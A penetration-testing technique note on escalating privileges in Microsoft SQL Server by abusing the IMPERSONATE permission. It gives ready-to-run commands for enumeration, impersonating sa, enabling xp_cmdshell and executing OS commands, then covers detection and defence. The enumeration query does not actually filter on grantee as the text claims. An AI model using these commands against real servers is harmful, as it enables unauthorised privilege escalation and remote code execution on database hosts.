IMPERSONATE in MSSQL (EXECUTE AS LOGIN)

IMPERSONATE is a server-level permission in Microsoft SQL Server that authorizes a login to assume another's identity with EXECUTE AS LOGIN = '<victim>'. The whole session then operates with the victim's permissions until REVERT is run. It is a very useful horizontal escalation when the initial login has limited access but can impersonate another with permissions over sensitive databases or over the server.

Connect and enumerate

From Linux with Impacket, or with PowerUpSQL from Windows:

impacket-mssqlclient <domain>/<user>:<pass>@<ip> -windows-auth   # or without -windows-auth for SQL auth

Inside, list the logins we can impersonate (the IMPERSONATE permission whose grantee is us):

SELECT dp.name AS can_impersonate
FROM sys.server_permissions pe
JOIN sys.server_principals dp ON pe.grantor_principal_id = dp.principal_id
WHERE pe.permission_name = 'IMPERSONATE';

Jump and escalate

EXECUTE AS LOGIN = 'sa';         -- assume the identity
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');   -- confirm who we are and whether we are DBA

If the victim is sa (or any sysadmin), the escalation is to full DBA, which opens RCE via xp_cmdshell:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;     -- re-enable it if it was off
EXEC xp_cmdshell 'whoami';                            -- runs as the SQL service account
REVERT;                                               -- return to our identity

The command runs as the SQL service user (typically NT Service\MSSQL$INSTANCE or LocalSystem), which usually gives SYSTEM on the host. PowerUpSQL automates the discovery and the jump (Invoke-SQLImpersonate, Invoke-SQLEscalatePriv).

Requirements

A valid login on the MSSQL server (SQL auth or Windows auth) with the IMPERSONATE permission over a more privileged login. For RCE, the impersonated victim being sysadmin and the service allowing xp_cmdshell.

Nuance. Do not confuse it with IMPERSONATE ANY LOGIN (broader) or database-level impersonation (EXECUTE AS USER, which limits the jump to one DB). When the impersonated login has access to linked servers, the chain continues with EXECUTE ... AT toward another instance. In AD domains, if the MSSQL SPN is kerberoastable, Kerberoasting can be the prior step to obtain the login.

How to detect it. With SQL Server auditing on, EXECUTE AS/REVERT and security-context changes are logged; re-enabling xp_cmdshell (sp_configure) and its execution are high-fidelity events, because almost no legitimate application touches them. On the host, xp_cmdshell appears as the sqlservr.exe process spawning cmd.exe/whoami as a child (Event ID 4688 / Sysmon 1), an unmistakable signature of RCE via the database. An application login suddenly running EXECUTE AS LOGIN='sa' should alert.

Defence. Review sys.server_permissions and do not grant IMPERSONATE outside justified flows; use role-based access control (db_datareader/db_datawriter) instead of cross-login impersonation; run the SQL service under a least-privilege account (not LocalSystem) and keep xp_cmdshell disabled.